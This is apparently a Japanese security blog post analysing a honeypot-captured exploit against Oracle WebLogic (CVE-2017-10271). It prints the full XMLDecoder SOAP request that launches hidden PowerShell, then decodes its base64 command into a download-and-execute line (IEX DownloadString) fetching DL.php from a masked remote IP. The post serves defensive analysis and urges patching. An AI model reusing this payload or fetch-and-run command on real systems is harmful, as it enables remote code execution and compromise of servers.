WebLogic の脆弱性(CVE-2017-10271)を狙った攻撃をキャッチ
古い脆弱性ですが、面白い攻撃ログを僕のハニハニちゃんがキャッチしたので、ご紹介します。
キャッチしたログはこんな感じです。
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Connection: Close
Content-Length: 1214
Content-Type: text/xml
Host: XXX.XXX.XXX.XXX:80
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd.exe</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>Start PowerShell.exe -NoP -NonI -EP ByPass -W Hidden -E JABPAFMAPQAoAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIABXAGkAbgAzADIAXwBPAHAAZQByAGEAdABpAG4AZwBTAHkAcwB0AGUAbQ・・・・・
</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
”/wls-wsat/CoordinatorPortType”から始まるPOSTリクエストなので、これは明らかにWebLogic の脆弱性(CVE-2017-10271)を狙った攻撃で2017年10月に公表されているもので、割と古めの攻撃だと思うのですが、PoweShellを実行させるような処理になっていて、Windowsサーバを狙ったような攻撃になります。
JVNDB-2017-008734 - JVN iPedia - 脆弱性対策情報データベース
これの何が面白いかと言うと、下記の部分です。(一部を省略しています。)
<string>Start PowerShell.exe -NoP -NonI -EP ByPass -W Hidden -E JABPAFMAPQAoAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIABXAGkAbgAzADIAXwBPAHAAZQByAGEAdABpAG4AZwBTAHkAcwB0AGUAbQ・・・・・ </string>
ただこれだけ見ると、ふむふむPowerShellで何かを実行させようとしているなぐらいしか分からないのですが、PowerShellのオプションの「-E」以降の部分が、Base 64 エンコードされていて一見ただの複雑な文字列のように見えるところが、攻撃者のセンスを感じます。
そもそもPowerShellの「-E」というオプションを使って、なぜBase 64にエンコードした文字列を使うかというと、
Base 64 エンコード文字列版のコマンドを許可します。 複雑な引用符や中かっこを必要とするコマンドを PowerShell に渡す場合にこのパラメーターを使用します。 PowerShell.exe コマンドラインのヘルプ | Microsoft Docs
ということで、確かにプログラミングをしていると何かと引用符やかっこの扱いに困るときがあります。
本来はそういった複雑なコマンドをPowerShellに渡すために利用するこの「-E」というオプションを使用し、本来実行したいコマンドを隠蔽するというところに攻撃者のセンスを感じたわけです。
そういうことで、この一見訳のわからない文字列をデコード処理してみようと思います。

データ変換ツール(BASE64, URLエンコード(URLデコード), HEX(16進ダンプ), MD5, SHA-1変換フォーム)
うまくデコードできました!
デコードして出てきたコードがこちらです。
$OS=(Get-WmiObject Win32_OperatingSystem).Caption;$WC=New-Object Net.WebClient;$WC.Headers.Add('User-Agent',"PowerShell/WL $OS");IEX $WC.DownloadString('http://XXX.XXX.XXX.XXX/images/test/DL.php');
コードを解説すると、
- まずOSの情報を取得して変数に格納 $OS=(Get-WmiObject Win32_OperatingSystem).Caption
- WebClient クラスのオブクジェクトを生成 $WC=New-Object Net.WebClient
- 2で作成した変数にUser-Agentと1で取得したOS情報を格納 $WC.Headers.Add('User-Agent',"PowerShell/WL $OS")
- 最後にPowerShellからDL.phpをダウンロード IEX $WC.DownloadString('http://XXX.XXX.XXX.XXX/images/test/DL.php')
こんな感じです。(あんまりWindows詳しくないので、間違っている気がします。)
試しに最後のphpファイルのダウンロードをしてみましたが、404が返ってきました。
$ wget http://XXX.XXX.XXX.XXX/images/test/DL.php ---- http://XXX.XXX.XXX.XXX/images/test/DL.php Connecting to XXX.XXX.XXX.XXX:80... connected. HTTP request sent, awaiting response... 404 Not Found ERROR 404: Not Found.
実際にブラウザで確認するとこんな画面でした。

IPアドレスを調べてみると中国のある組織が管理しているIPアドレスでした。
しかもIPアドレスのみでURLを叩くと、中国語のログインページが表示されましたので、おそらくこの組織のサーバが乗っ取られているものと思われます。
しかも日本語で404を表示させているということは、少なくとも日本向けに攻撃を仕掛けているものと思われます。
今日はこの辺で!
WebLogicを使っている方は対処が完了しているか確認を!!!